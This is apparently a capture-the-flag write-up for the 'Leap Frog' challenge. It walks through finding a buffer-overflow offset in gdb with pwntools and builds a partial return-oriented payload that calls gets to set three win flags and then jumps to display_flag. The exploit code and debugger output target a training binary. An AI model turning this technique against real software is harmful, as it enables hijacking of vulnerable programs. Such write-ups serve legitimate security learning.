Leap Frog

What do we know so far

Take a look at the source code.

  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }

Padding

First of all, find out the correct padding for buffer overflow.

(gdb) r <<< $(python2 -c 'import pwn;print(pwn.cyclic(128))')
Starting program: /problems/leap-frog_2_b375af7c48bb686629be6dd928a46897/rop <<< $(python2 -c 'import pwn;print(pwn.cyclic(128))')
Enter your input> 
Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
(gdb) info stack
#0  0x61616168 in ?? ()
#1  0x61616169 in ?? ()
#2  0x6161616a in ?? ()
#3  0x6161616b in ?? ()
#4  0x6161616c in ?? ()
#5  0x6161616d in ?? ()
#6  0x6161616e in ?? ()
#7  0x6161616f in ?? ()
#8  0x61616170 in ?? ()
#9  0x61616171 in ?? ()
#10 0x61616172 in ?? ()
...

Now we can get the offset with cyclic_find

    ofs = pwn.cyclic_find(pwn.p32(0x61616168)) # 28

win1 && win2 && win3

The three leap functions to control each of them, but apparently we can’t run through leap3 to get it. Due to ASLR we can’t skip the impossible check by jumping. Can we set the them to true directly? gets@plt can read from stdin and write to any writable segment memory, the winX located contiguously, so we can send \x01\x01\x01 to set them all true.

    payload = b''
    elf = pwn.ELF(remote_binary, False)
    payload += pwn.p32(elf.sym['gets']) # gets@plt
    payload += pwn.p32(elf.sym['display_flag'])
    payload += pwn.p32(elf.sym['win1'])
    ...
    conn.writelineafter("Enter your input> ", payload)
    conn.writeline(b"\x01\x01\x01") # set win1, win2 and win3 to true
    ...

Read all the response to get the flag.

TOP